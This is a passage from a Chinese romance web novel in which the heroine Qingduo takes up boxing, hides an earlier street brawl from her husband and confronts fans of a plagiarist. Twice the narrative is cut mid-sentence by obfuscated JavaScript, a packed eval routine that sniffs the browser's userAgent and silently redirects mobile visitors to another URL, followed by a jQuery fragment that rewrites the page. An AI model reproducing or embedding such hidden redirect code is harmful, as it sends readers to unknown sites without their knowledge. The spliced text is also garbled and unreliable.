“……修身正心,克己复礼。” * 曾家的马车停在露浓家门前。青朵跳下马车,拖出一个大布袋,背对着它屈膝半蹲,拍拍肩膀道:“芳晴,帮我放到背上!” 芳晴震惊道:“使不得使不得!怎能让少夫人干腌臜粗活!”她下车拎起布袋口,使劲往自己的背上拽,“让奴婢来!” “哎呀,不过一袋杏子,我以前挑满桶水,来回几趟都轻轻松松!这个,不过是小意思!”青朵抢过布袋,把布袋往肩头拱,待整个袋子伏在背上,后腰发力挺起,迈出一步,两步。 这,这袋子,比想象的沉啊! 牛皮已经吹出去,覆水也难收,她咬牙颤巍巍地半步半步挪,扯住布袋的手撑不住力道,愈发酸软。 “救命我背不动了……”她半蹲立在原地,痛苦哼唧道。 “少夫人!”芳晴和车夫见状,两人一起抬起布袋,卸到地上。青朵直起身子,揉捏肩膀,气喘吁吁道:“我竟虚弱至此!” “嚯!我当是个什么重物呢!”朱熠抱着胳膊从屋里走出,斜眼瞟一眼她,单手拎起袋子,仿佛那不过只是一件轻飘飘的衣服,轻松抡到背上,“小丫头,这才叫小意思呢!” 青朵一声惊呼,亦步亦趋跟在后面,崇拜道:“朱大哥,你天生神力,力大无穷!” “神力?哼,我这都是一拳一拳,实打实练出来的。”朱熠将布袋靠墙堆放,又去提下一个。 “你从哪弄来这么多杏?” “哦,我家园子里的,”青朵轻描淡写道,她更关心“神力”的事情,小时候偷偷收拾那几个臭小子,再也没人敢嘲笑她穷。 生活的经验告诉她,跟烂人掰扯道理,不如拳打脚踢。 她往前一凑,谄媚道:“朱大哥,能不能教我打拳?自从当了少夫人,我能感受到身上的力气大大大大减退!这可不行!娇弱被人欺,强壮才无敌。我可是要用这身力气,保护自己,保护自己在乎的人,像你一样行侠仗义!” “你是曾家夫人,谁能欺负你?”朱熠一边说着,轻而易举地将马车上的杏都搬到园子里。 青朵跟着他好说歹说,他也不松口,甚至拿出“男女授受不亲”搪塞她。他径自端起匾筐,把里面的杏干抖落到背篓里:“我不跟你这小丫头说了。露浓姑娘在集市上卖杏干,就等我过去呢。” 青朵正自气馁,突然听到“露浓”一词,一刹那有了主意,她长长叹了一口气,故意道:“可惜呀可惜,我本来想拉着露浓姐姐,和我一起学打拳,强身健体……” “哗啦哗啦”声顿时停止,青朵得意地望向朱熠,见他瞪大眼睛盯着,不禁暗暗偷笑,一脸惋惜道:“我还想着你可以借此机会,和露浓姐亲近亲近,唉,算啦,人各有志,不可勉强也!” “我突然想到,”朱熠马上接口道,“我正有一套拳法,适合你们女子学。” “这——怎么好意思呢?”青朵夸张摇头,“男女——授受不亲也!” “不亲不亲!”朱熠慌忙解释,“我有分寸,我不会碰她的!我怎可亵渎露浓姑娘!” 青朵斜了他一眼,什么意思?不能“亵渎”露浓姐姐,那碰她就没事了?那更不行!她可是“有卿之朵”! 她看到朱熠期待的目光,皱眉叹气,手捋下巴,仿佛自己有胡须似的,她“愁眉苦脸”道:“嘶——我仔细想一想,觉得你说的,也有道理,没有人,敢欺负我也!” “你到底学不学?”再懵的脑袋也看出蹊跷,朱熠没好气道:“唐青朵,你耍我啊?” “学学学!”青朵见好就收,她笑嘻嘻地恭维道,“有大名鼎鼎的‘悬乎侠’教我,我当然学。” “等我掌握拳法,就能跟你一起闯荡江湖,”她神往道,“到时候,我也起一个称号,嗯……我就叫,就叫……” 叫什么好呢?青朵眉头拧成死结,自己以前在“江湖”是有个绰号,不过不太文雅,这种见不得人的绰号可不能让他们知道! 有了! “你叫‘悬乎’侠,我就起一个和你相近的——‘稳妥侠’,怎么样?” 朱熠大惑不解:“我的‘玄虎’是威风的神虎,和你的‘稳妥’哪里相近?” 青朵恍然大悟:“啊!不是不踏实的‘悬乎’啊?”她释然道,“我之前还想,你怎么起了个自贬的绰号,后来又觉得,朱大哥心无城府,憨直爽快,这样叫一定有你的道理,哎呀,原来如此!” 朱熠茫然的眼中逐渐燃起两簇火焰,愤怒的声音震起停息在杏树上的鸟雀: “你你你你才‘悬乎’!你全家都‘悬乎’!” * 木质托盘稳稳托在臂弯,托盘内瓷盘里的烧鸡金黄油亮,小二拾阶而上,走到二楼尽头的雅间,轻叩木门,直到里面传来“请进”,才推门而入。 “刘公子,曾公子,久等了!”他哈着腰,脸上堆着笑,“这是我们福源居的拿手好菜,‘福记烧鸡’,我们掌柜的特意嘱咐,给您二位上刚出炉的烧鸡,您瞧,还冒着热气呢!” “替我多谢你们掌柜。”曾正卿将一块碎银放到托盘内,温言道,“拿去吃酒吧。” 店小二大喜,不住地鞠躬道:“谢曾公子,谢刘公子!”千恩万谢地退出去,掩上屋门。 刘恪见人离去,摇扇继续道:“既然我手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564678|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的《青山万朵图》不是真迹,是尊岳母的遗作,那我留着也没什么用处,倒不如送还到弟妹手中,以慰思母之情。” “多谢恭直割爱。”曾正卿从怀中掏出一张银票,放在刘恪眼前,“权当一点补偿。” “哎,你跟我计较什么,”刘恪合上扇子,看也不看,用扇尖推回去,“就当我送弟妹的见面礼。” “你要是实在过意不去,”他凑近悄声道,“我想看看唐礼所画的《青山万朵图》。不知何时能到你家大饱眼福?” “这个……”曾正卿想起画卷上张牙舞爪的“到此一游”,此是青朵的糗事,并未告知刘恪。他沉吟道,“这其中有难言之隐,我得跟夫人商量一下,看她的意思,再给你答复。” “哦?”刘恪展开折扇遮住半张脸,笑道,“是‘难言之隐’,还是‘夫随妇唱’啊?这也太快了吧?” “果然刘兄成婚早就是不一样,”曾正卿夹起鸡腿放到刘恪盘中,淡淡道,“对‘夫随妇唱’深有体会。” “谁深有体会了?”刘恪顿时急了,他可听不得这个,嚷嚷道,“我那是不愿意跟她一般见识,以我的忍让,换来家庭和睦,我这是宽大为怀!” “我不就买了幅画么!我不就是搂着画,在书房独睡几天么!婉婉她,竟把我所有的东西都挪到书房来了,还让丫头带话,祝我与画‘双宿双飞’‘百年好合’,这叫什么话嘛!” 他端起酒杯一饮而尽,“啪”地放到桌上,苦闷道:“唉,元柏啊,你是不知道,身边有那么个人,同床共枕多时,突然不得不孤身一人宿在书房,唉,那是何等的凄凉悲惨孤寂啊!” 又端起酒壶给自己和曾正卿斟酒,长叹道:“万一以后你哪天突然想不开,可要以今日的我作为前车之鉴!离开容易,回去难啊!” 曾正卿脸色微沉。他手指摩挲杯壁,似是在盘弄某个悔不当初的念头,对面搅起他情绪的始作俑者闷头灌酒,醉醺醺地哀声道:“婉婉——” “无论多少幅画,也只是过客,你才是唯一啊!” “行了!”曾正卿被他嚎得头疼,他揉按太阳穴道,“这些忏悔,你还是回去对着你的‘婉婉’说罢!” 他扶着刘恪下楼,在门口等候马车,满街的烟火气就这样冲他们漫过来。 “豆腐——盐卤豆腐——” “糖粥藕粉圆——热乎乎的藕粉嘞!” “新晒的杏干哟!酸甜可口的杏干!” 刘恪身子一动,光是听到“杏干”,津液就在口中分泌开来,就想吃口酸的缓解头晕,这时听到曾正卿嘱咐道:“之前谈起书画铺的事,就劳烦你多费心神。” “包在我身上。”他头倚在曾正卿肩上,朝发声处虚弱一指:“元柏,我头疼,想吃酸杏干,你给我买。” 视线随后跟上手指,顿了一会儿,“咦?”他猛地抬起头,朝那边使劲儿盯着看,又抬起另一边袖子擦擦眼睛,疑惑道:“那不是弟妹吗?” 曾正卿闻言,立即顺着刘恪手指的方向望去,不禁一怔,阳光像一把利剑斜射过来,他甚至怀疑自己被闪花眼,又眯起眼睛细瞧: 他曾正卿的夫人唐青朵,屈身蹲在杏干摊子旁,双足稳稳扎成马步,蜷手为拳,对着虚空左右出招,旁边立着一个少年,臂弯处肌肉隆起,拿着一根树枝,对着他的妻子指指点点。 刘恪震惊的眼睛撑大眼眶,突然的发现让他褪去醉意,脑袋一下子清醒得不得了,这实在很难不让人浮想联翩。偷偷瞥向身旁的好友,见对方面色如“黑云压城”,暗忖道:不会吧不会吧,两人成婚才多久,就被我撞破一桩秘辛? 恻隐之心一起,他心中多了几分释然:与元柏相比,自己那点委屈,又算得了什么呢? 31. 隐瞒 太阳像个火炉,蒸烤青朵这颗小山芋,不,她比山芋还惨,山芋们只需要趴在那一动不动,她还要不断练拳,但凡节奏一慢,旁边的朱熠,就像是拿着夹子的商贩,不满地戳道: “怎么还不好?” 豆大的汗珠滚滚而下,她浑身酸疼,哼哼道:“不行了我不行了……” “最后五十下!”朱熠严厉道。 “嗯~”青朵哼哼唧唧刚想耍赖,就听朱熠说道:“你少来,我可不吃这套,规规矩矩练够数目,五十次都坚持不下来,我朱熠看不上没有毅力的人!” 不!她不能服输!青朵咬着嘴唇硬挺,不能让别人看不起,这是她的底线! 不过,还是有一些无法摆到台面上的忿忿不平,她只能左右分别出拳,暗自数道: “打朱熠一拳,打朱熠两拳,打朱熠三拳……” 这时听旁边露浓招揽客人道:“客官,买几斤杏吧,是自己院子晾晒的,酸甜适口,你尝尝!” 青朵马上被带跑,她默念:“打客官四拳,打客官五拳……” “少爷!”芳晴惊呼。 “打少爷六拳,打少爷……嗯?”青朵抬头诧异道,“少爷?” 她的双眼顿时闪闪发光,还真是少爷!不,卿卿! 救命的来了! 她想扑到他怀里,可马步跨久,腿都麻了,一时收不回来。她按着一侧大腿,艰难缩回另一只,热泪盈眶道:“卿卿!” 呜呜,终于有人要把她这颗烤不熟的小山芋买走! 刘恪问道:“弟妹,你怎么在这?” “我在帮露浓姐姐卖杏干。对了,他们是我的朋友,这是露浓姐姐,这个是‘玄虎侠’朱熠朱大哥。” “是黑色的老虎,不是不稳妥的‘悬乎’。”青朵补充道。话音刚落,脑袋上就挨了一个爆栗,她“哎呦哎呦”地捂着头,听朱熠怒道:“除了你,谁还会这么想?” “哦?原来你就是‘玄虎侠’!”刘恪恍然道。 朱熠抱拳道:“这位公子知道我的名号?” “知道知道,”刘恪点头笑道,“我认识你姐夫何县尉,他还曾跟我说起过你。说你年龄虽小,但慷慨仗义,颇有古代侠士之风。” 朱熠面有得色,说道:“不敢当,只不过是看不过别人遭难罢了。” 青朵豁然省悟:“怪不得上次那几个打手不敢惹你,原来你家里有人啊!” “你!”朱熠刚抬起手,青朵抱着脑袋迅速窜到露浓身后,露浓不忍地唤道:“朱大哥!”朱熠只好忍下怒火,双手抱在胸前,愤愤地看向另一侧。 “你们如何相识?”曾正卿突然问道。 青朵的心脏骤缩,自己竟忘了这件事!她私自翘学跑到街上玩,回来见到卿卿买来的画具,所以就闭口不言,从未对他说过他们几个的事,现在看来,是全部要暴露了! 她偷偷瞄了曾正卿一眼,不经意对上他幽深目光,心中一慌,连忙挪开视线,低头戳着食指道:“这个嘛……这个嘛……” 唉,生活,你能不能对我好一点?她唉声叹气。 “我写的话本被书铺盗取,多亏青朵姑娘仗义执言,帮我讨回公道。要不是她,我一分都拿不到。”露浓及时解围。她将那日青朵帮她讨回书钱的事,细细地说与二人。 听她讲到自己光辉的一面,青朵胸膛挺得老高,目光灼灼地望向曾正卿,谁料他只是淡淡地扫了自己一眼。还不如刘恪,他称赞道:“侠义岂分男女?弟妹不仅会一手妙笔,还能行善功,佩服佩服。” 天知道,这桩扬眉吐气的事迹憋在心里,她忍得有多辛苦!如今终见天日,却没等来曾正卿的夸赞,青朵有些失落,她勉强一笑,没有回话。 “‘守真堂’的赛掌柜,我也有耳闻,他不是轻易就此罢了的人物。姑娘可方便告知,赛掌柜给了你多少银两?”曾正卿说道。 露浓顿了顿,她看青朵一眼,说道:“三十两。” 青朵张了张嘴,说不出话来,露浓姐写一个未完成的故事,就能挣得三十两,是自己的千倍、万倍,相比之下,自己的能力确实大大不如。 她又一想,炉中的山芋也有先熟后熟,露浓姐姐比她大两岁,就是先熟的山芋,她多翻几个个儿,等到她十八时,就也是成熟山芋了! 青朵暗中双手握拳,目光炯炯地望向露浓,自己也要达到她的“熟”度才行! 这边青朵正忙着给自己鼓劲,曾正卿和刘恪听了露浓的回答,相互对视一眼,露浓见他们神色不对,正要追问,就听朱熠粗声粗气道:“那个赛掌柜一看就是阴险小人!” 他抱臂上前两步,说道:“偷了露浓姑娘的话本不说,表面想赔钱,背地遣人尾随两个姑娘,要不是我跟在后面,只怕棍子就要落身上喽!” 曾正卿闻言一惊,刚要细问,青朵窜过来插嘴道:“对对对,朱大哥可厉害了!对面可是三个人,他先是对为首的一连发‘黑虎掏心’,转身挡住后两个人的棍子,然后抬腿踹飞一个,棍子狠狠打倒另外一个。他们都在地上嚎叫,‘朱兄弟,朱大爷,求求你饶了我们几个狗命’,我们朱大哥大喝一声,‘还不快滚!’那几个人哟,吓得屁滚尿流,灰溜溜地跑掉了!哈哈哈哈!好过瘾!” 青朵一边说,一边分饰双方,一会儿是连发几拳的“朱熠”,一会儿是捂着肚子举手求饶的无赖;一会儿威风凛凛地掐腰,挥手喝道“还不快滚”;一会儿又是弓着身子心惊胆战地哆嗦“多谢朱大爷饶我狗命”。小小的杏干摊子,一时成了她的个人戏台。 对青朵添油加醋的描述,朱熠满意得不得了,他扬起脖子,发尾随着轻晃,似要荡到天上去了:“我这可是靠自己的真本领打跑他们,不是因为我姐夫!” 刘恪展开折扇遮在嘴前,芳晴低头抿嘴,只有青朵“扑哧”笑出声,却在朱熠目光探过来时,迅速收敛,鼓掌道:“对!我朱大哥武功天下无双!” 曾正卿却变了脸色,他对着朱熠拱手俯身,肃穆道:“朱侠士仗义,救我妻于危难。曾某感佩至极!请受我一拜。” 朱熠慌忙抱拳回礼,不自在道:“哎呀,不过举手之劳,我也不能眼瞅着两个姑娘被打,再说了,那群虎狼之人,谁知道还会做出什么事呢!” 曾正卿更是心惊:“侠士之恩,日后定当酬谢,若有需要效劳之处,曾某赴汤蹈火,在所不辞。” 他目光沉沉,落到青朵身上,连带着她的喜悦,一同沉下去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580794|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卿卿为什么不高兴?他,他是怪我又惹乱子?青朵想不明白,自己的故事讲得多有趣,大家都笑了,卿卿却无半分笑意。 她暗叫不好。自己从小到大,是爱惹出一点小小麻烦,不过练就一身察言观色,见风使舵的本事。自她认识卿卿,他对自己总是笑吟吟,就算上次醉酒当众让他难堪,他也温言宽慰,何尝是这般神色!他的性子与爹不一样,虽然宽厚,但遇事不苟,想要耍滑头从他手里过关,难,难,难! 恐怕,她要在劫难逃了。 * “卿卿,刘大哥同意把《青山万朵图》卖给我吗?” “嗯。” “啊!太好了!所有事在你手中,都易如反掌!” “嗯。” “福源居的烤鸡到底什么味道?朱大哥也给露浓姐买过……因为一些不可抗拒的缘故,我也没尝上一口。” “嗯。” …… 嗯嗯嗯!青朵不由得气恼,外面是热闹的欢声笑语,马车内空气冻结,自己只能卖力东拉西扯,缓解气氛,为的就是转其心境,人家也并不领情,只是一声接一声“嗯”。 为何守着她这样古灵精怪的妙龄夫人,却发出在茅房使劲儿的动静? 本夫人不想哄他了!她也生气了! 青朵猛地扭头,背对他抱膝坐着,怨道:“哼,刚才露浓姐讲我救她于危难的事儿,你,你,你像是没听见似的,我可是展现出万夫不当之勇!” 她的下巴搁在膝上,嘟囔道:“连刘大哥都知道夸我……” “夫人若这般渴望我夸你,为何不在事发当天告诉我?”曾正卿淡淡道。 刹那间,青朵像被点中“死穴”,满腔的不满烟消云散,她转过身来,讪讪道:“原来你是因为这个……” 青朵微微抬头,见曾正卿凝重的神色像是要滴出冰雹来,下意识用上“凌波滑跪大法。”第一招,“认错要快式”,还不等曾正卿说话,马上开口道:“我错啦,我不该瞒你。” 她偷瞄曾正卿,想找出破绽,却发现他面色无波无澜,什么都读不出来,只能暗暗叹气。是的,上次对他使用大法,他就是一副不为所动的样子,差点前功尽弃。这回得调整战略,“态度诚恳式”“甜言蜜语式”不能单一使用,融合才行。 还不等她调整情绪,“呼云唤雨”,就听曾正卿缓缓道:“下一步,夫人要做什么呢?让我猜猜,是哭眼抹泪,还是要吹捧我,是‘全天下最好的夫君’?” 泛起的泪花还堵在眼底,青朵的神色转为错愕。她不过就是酒醉赔礼时用过一次,卿卿怎么就全知道?他竟轻而易举就点破她接下来的招数! 一时间,她惊慌失措,像是比武台上的莽撞武人,还未等出招,就被神机妙算的英杰逼入绝路,倒不至于“身先死”,但“脸面”一定荡然无存。 不,她不能轻言退缩!青朵脑筋飞速转动,思索所有能逃脱被责备的办法。 曾正卿见她眼珠滴溜溜乱转,知她还想“垂死挣扎”,若再拖延,怕是叫她寻来邪门歪道的解法,必得快刀斩乱麻,断了她的可乘之机。 他长臂疾伸,扣住她手腕猛地一拽。惊呼声中,青朵一个猝不及防,跌坐在他的腿上。 32. 惹火 “啊!” 青朵挣扎想要起身,仿佛屁股底下坐着的,是一块钉板。曾正卿眼疾手快,手掌在她肩膀往下一按,青朵不由自主又落到他腿上,身子前倾扑向曾正卿,手臂竟顺势搂住他脖子,她的脑袋“嗡”地一声,慌乱松手推开,又被他手臂紧紧环住,动弹不得。 无数的“锦囊妙计”像破旧的墙皮纷纷脱落,徒留脑中一片空白。青朵满脸通红伸手推拒他的胸膛。 曾正卿低声道:“原来在夫人心中,我是不值得信任的。” “不,不是的……”青朵结结巴巴道,之前的与他的拥抱心安神定,为什么这次自己惶惶不安?整颗心都要跳出喉咙。 “那是什么?。” 他淡淡一笑,轻抚她的后脑,看似是给予她鼓励,青朵却觉得后背发凉。 察言观色、聆音察理,是她的老本能。不管话语具体内容是什么,但语气里自有冷暖,再善于伪装的人,也有不能掩饰的痕迹。而曾正卿的几句话,像是刚吃完冰酥酪,迎面呼出一缕寒气。 害怕! 这个卿卿,她不曾见过! 青朵脖子一缩,前倾避开。生怕那五指变出长指甲,把自己脑袋戳出五个窟窿。 “是……”话没有经过大脑,她的嘴中自动蹦出答案,“我认识他们俩的那天,偷偷跑出玩,没有去爹那里学画。回家发现你精心为我准备画材,不想,不想辜负你的心意,就没有说出口。” 曾正卿并不意外,夫人素日连粟米大的心事都藏不住,何况是自己的“丰功伟绩”。他本以为,她之所以不说,是因为有另外一个丢脸的原因,没想到是不愿枉费他的心意。 他的手掌在自己颈后轻轻一按,两人额头相抵。青朵听他叹道:“傻瓜。” “我竟被夫人小看了。” 青朵想抬头说话,可曾正卿的手捺在后面,动弹不得,只能抬眼觑他,情绪激烈地反驳道:“没有,绝对没有!” “那你为什么觉得,我会不支持你的选择?” “因为偷溜出去不去学画,是不对的!” “何为‘对’?何为‘不对’?在我看来,夫人想做的事,就是对的。想去学画就去,想玩就玩,从心所欲,才是正理。” 青朵大吃一惊,她爹总说曾家循规蹈矩,可她这夫君屡屡叫她放达不羁,率性而为,颇有她唐家的风范,自己倒像是他曾家的女儿,守住条条框框。 她下意识辩驳道:“‘学之广在于不倦’,学习贵在持之以恒,我放纵自己,当然是不对。你如果觉得我中断学习是对的,难道不怕我半途而废?” 曾正卿放开青朵,对上她执拗的眼,笑道:“我怕什么!夫人的心里,不是还有一杆秤吗?” 青朵一怔,方明白这就是曾正卿对她的信任。心中一热,口中仍不服气道:“什么嘛!我看你就是过度纵容,之前还说由你教导我们的孩子,我看啊,你教不好!” “我们的孩子?”曾正卿眉峰微挑,唇角牵起若有似无的弧度,“夫人打算什么时候生?” 什么时候,着山茶纱裙给他看? 全身的血液都涌上头部,青朵惊愕失色,她胡乱挣脱他的怀抱,连滚带爬地蜷到右侧角落,羞恼道:“你!你!少…少转移话题!” 曾正卿见夫人又一次成为“红朵”,低低笑了几声,便点到为止。青朵面红耳赤地偷瞄他的侧脸,见他嘴角衔笑,心中越发确定他的“那部分”已经痊愈。要不然,他怎么会明示呢? 嗯!再熬几副巩固一下,然后就…… 镶边的山茶花刺绣在她脑中闪烁银光,渐退的红潮再次涌上,她赶忙捂住脸,只觉烫手。一时间,车厢里一片静寂,外面车轮转动声、马蹄声、人来人往的交谈声都愈发清晰。 “《画堂春》出下册了?不愧是子翩!” 纷杂的人声如热汤在锅中翻涌,青朵的耳朵却敏锐捕捉到这句话,浑身一激灵,脸从手中抬起。 什么?子翩?剽窃露浓姐姐话本的那个骗子,又写《画堂春》?她没听错吧? 青朵紧愣了一霎,连忙撩起车帘唤停车,下车左顾右盼一阵,把视线锁到两个边走边谈的女子身上,她窜上前去。 “两位姐姐,刚才可是谈到子翩和《画堂春》?”青朵问,余光瞥向两人手中,封面上的“画堂春下”,这证实了她的猜测,她强忍怒意假笑道:“嘿嘿嘿嘿,真是子翩写的吗?我之前听说,这本书别人所写,她顶替那人的名字,怎么如今又出了下册呢?” “啊,你说那件事啊!”其中一个绿衫女子鄙夷道,“官方早就声明了,这本书的作者就是子翩一个人!那人就是看子翩的作品写的好,出来讹人的!” 青朵闻言大吃一惊,风向变这么快?她忙问:“是哪个官方的声明?” “就是独家贩卖《画堂春》的‘守真堂’啊!”另一个女子说道,“赛掌柜真惨,当时假作者来闹事,他为了维护子翩的名誉,不得不息事宁人,给了假作者一百两银子才算了结!唉,我们子翩能有今天,也是与赛掌柜互相成就啊!” 好一个赛林甫!青朵咬牙切齿肚中暗道,当时她提出不能以子谦名义印刷出售《画堂春》,他答应得那叫一个痛快!露浓姐姐明明只收到三十两,到他嘴里倒成了一百两! 他颠倒黑白,指“露”为“翩”,猪八戒抡家伙式儿——倒打一耙!他说的话,就是“赛狗屁”!臭气熏天,不可闻也! 绿衫女子附和道:“要不是赛掌柜,我们差点看不到《画堂春》的下册!”她又加了一句:“其实就算不是子翩写的也无所谓,我只想看到这个故事,只要有趣就行,就算借鉴了又怎么样?天下文章一大抄,能抄得有意思,也是子翩有本事。” 青朵的怒火烧到喉咙里来了,在他们口中,露浓姐姐的血泪,都比不上一句“有趣”,仅为寻欢作乐的浅薄欲望,就把“公平正义”当做一口浓痰啐到地上去。 她勉强笑着:“咳,据我所知,哪有自己查出自己有问题的?‘守真堂’出售这本书,总不能自己承认自己是盗取,说不定只是为了谋利,骗我们罢了,怎么他说的话,就成官方了呢?” 那两人警惕地望向他,质问道:“你怎么向着别人说话?你是我们子翩的追随者吗?” 青朵冷冷一笑:“谁要追随骗子?傻瓜才会信他们的鬼话!” 那两人才知自己被青朵戏耍,顿时开骂,青朵并不生气,嬉笑吐舌,面对她们做鬼脸:“略略略,子翩是骗子,骗子是子翩,我就说我就说,你能拿我怎么办?” 曾正卿快步赶来时,看到眼前场景,一时间误以为自己走进斗鸡游艺场。左边两只“斗鸡”昂首发出震耳欲聋的啼鸣,而右侧的“斗鸡”却不声不响,左右横跳,时而摇头晃脑,时而拎起裙摆当做翅膀,双翅扑闪,带起地上灰尘,抖向对面,见左侧连忙提臂遮挡,她依旧不依不饶,脖颈一伸,又一伸,眼睛死死盯着对手,态度嚣张,似在挑衅:“来呀!你来呀!” 周围已经围聚不少人,笑着指指点点。曾正卿闭了闭眼,狠下心来走上前,站到青朵身后,轻轻拽了拽她的袖子,低声道:“夫……青朵,算了。” 青朵脸上的阴阳怪气顿时消散,她沉下脸,恨恨道:“算不了!我被摆了一道!赛狗屁竟然反咬我们一口,说露浓姐姐是假的,我跟他们拼了!” 曾正卿怔了一下,才明白她说的“赛狗屁”是谁,眼见夫人又要冲过去开始她的“斗鸡舞”,完全把他的劝告当做耳旁风。双方愈演愈烈,若不是他躲闪及时,对面那一巴掌就拍自己身上了。 “你敢打我夫君?”青朵勃然大怒,她屈肘喝道,“吃我一拳!” 还不等她刚学的拳法派上用场,整个人就腾空飞起,一瞬间,眼前天翻地覆,原来是被曾正卿抗在肩上,她猛烈拍打他后背,好似鼓槌交替敲击,她叫嚷道:“放我下来!放我下来!” 曾正卿脚底生风,走得飞快,仿佛是捞鱼者意外捕获一条大鱼,遍体滑溜,如若不尽快塞入鱼篓,大鱼便会“哧溜”一下钻入水中,再也难寻踪影。 他的步伐越来越密,渐渐地,走变成了跑。纵使青朵将他后背拍遍,也无人会,下地意。她心有不甘,这岂不是临阵脱逃?此情此景,她也只能奋力挺起身子,食指悬在半空,直指后面已模糊的两个人影,咬牙切齿道:“你们等着瞧!我非要把他们身上的假皮,扒下来不可!” * 马车开动那一刻,曾正卿不露痕迹地松一口气。“大鲤鱼”仍在车厢里好一阵扑腾,青朵双腿乱踹,郁愤道:“可恶可恶!我居然会轻易相信那家伙!” “你也是!”青朵埋怨道,“我刚 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曾正卿不觉好笑,他捏了捏她的“鸭子嘴”,说道:“不行。” “凭什么?” “就凭你上次大闹一场,差点儿挨打!”曾正卿凝视她,郑重道,“我要你答应我,无论如何,不会再将自己置身于危险中。” “光是听描述,我就够心惊胆战,绝不容许你再闹第二回!” 青朵看到曾正卿双眉拧成深深的结,想起曾正卿听完朱熠救她的时,瞬间凝滞的神色,她木头木脑恍然道:“呀!原来你是担心我!” “哎呀,”她拍拍他的肩膀,一副轻松的样子,:“别怕,我什么事也没有。朱大哥脑袋简单了点,但身上功夫了得,几下子就把他们……” 曾正卿见她满不在意,严厉道:“倘若他没有出现呢?你有没有想过后果?” 青朵确实没有想过,她愣道:“朱大哥没有出现?那……那我们也不会有事的,我一向有福气,能够化险为夷,我……” 与露浓瑟瑟发抖相拥的画面浮在眼前,她突然住了口。对啊!如果朱熠没有出现,自己和露浓姐姐已经没有逃脱的办法,必落得个遍体鳞伤!念及此,她不禁打了一个寒颤。 “偶然逃过一劫,不该让你心生侥幸!”曾正卿斩钉截铁,“此事按我的方法处置更为妥帖,不必多言。” 他见青朵不服气的样子,又款语温言安慰她:“这些琐碎闲事,由我料理,你只管挥毫泼墨,与友尽兴,不必劳心劳力。” “闲事?”青朵一反常态,她认真道,“不,这件事跟我们每一个人都有关。且不说露浓姐姐是我的朋友,我是个画匠,我清楚的知道,自己的作品被其他人冒名顶替,是什么滋味。这可不仅是金钱之失,更是一种耻辱,是叩心泣血之痛!” “我力量熹微,可如果我也作壁上观,岂不是连这微弱的力量都没了?如果我不发声,他们又怎么知道,我在意,我很在意?” “一个我在意,一定还有很多人在意,他们看到我站出来,说不定受到感发,愿意和我并肩作战,那就变成一百个‘我’,一千个‘我’,‘涓流虽寡,浸成江河;爝火虽微,卒能燎原’,我们集聚在一起,就能冲垮烧尽他们这些利欲熏心、肆意横行的鼠辈!” 青朵越说越慷慨激昂,双手紧紧攥拳,如果敌人就在眼前,她就要出手痛击。 曾正卿久久地注视着她,心里涌入新的敬意。他已经相信,青朵能够影响很多人,此刻,她身上的浩然正气,就已经深深感染了他。她像一杆红缨枪,锋刃寒光凛冽,缨穗炽热鲜活,不动已是凌厉,一刺定然锐不可当。 他不能阻拦,他也无法阻拦。 曾正卿正襟危坐,双手按在膝头:“夫人方才所言,叫我自愧不如。我愿追随夫人,行正义之举,照亮混沌人间。” 青朵怔愣了一瞬,随即大喜,她终于等到这句迟来的夸赞,心里炸开烟花,她一跃而起,扑到曾正卿身上,兴奋抱着他摇摇晃晃,又松开他,乐得手舞足蹈: “卿卿,人们都说‘夫妻同心,其利断金’!我们联合起来,把赛狗屁和子翩,打个落花流水,屁滚尿流!” “遵命。”曾正卿眸中汪着融融笑意,一字一句道,“一同擒贼!” 33. 扬丑 守真堂对面茶馆旁的小巷里,闪出一男一女,男子手中的哨棍在地上一拄,发出清脆的声响。他说道: “喂,唐青朵,我们可是一条‘船’上的蚂蚱,你可不能背叛我!” 青朵脑海里出现两个小蚂蚱,前足相勾,倚立船边,身体随海浪上下起伏。正自出神,被朱熠一肘子怼醒,她一本正经说道:“还有一个月就入秋,我们得在那之前办成此事。” 朱熠疑问道:“为什么?” “因为——秋后的蚂蚱就蹦哒不了多久啦!”她笑嘻嘻地答道。 余光瞄到朱熠抬起手,她倏地缩到露浓身后,就听朱熠嘲笑道:“怕什么?我不过理一下头发,哼!胆子这么小,下次嘴巴就老实点!” 青朵从露浓身后探出脑袋,冲他吐舌头,朱熠提起一口气,刚想回嘴,瞥见露浓一脸忧虑,顿时将这事抛到一旁,问道:“露浓姑娘,你怎么了?”青朵闻言,也偏头望向她。 “上次青朵为我出头,结果差点连累她被打,我心里总是过意不去。要不然这次我自己去吧!我不想你们因为我出事。”露浓低声道。 “有我在这,谁敢对你动手?”朱熠马上说道,“我会一直保护你的!” 那我呢?青朵震惊地指指自己,朱熠余光瞥见,随口补充道:“嗯,还有你。”青朵白了他一眼,跳到露浓面前,说道:“哎呀姐姐,你怎么跟曾卿卿一样怕三怕四的!” “你放心好了!就凭我朱大哥这身功夫,别说三个,三十个,三百个,也不在话下……” 朱熠轻咳一声:“咳!三百个还是不行的……三十个……也比较勉强。” “嗨!就凭我朱大哥这响天彻地的名声,就算有三十个人,料他们也不敢一起上!只要我们有朱大哥……”青朵背对朱熠,凑到露浓面前,挤眉弄眼,嘴巴夸张地做出“的姐夫”三个字的口型,随即又扭转身子,冲朱熠竖起大拇指,续道,“……在,哪有人敢动我们?” 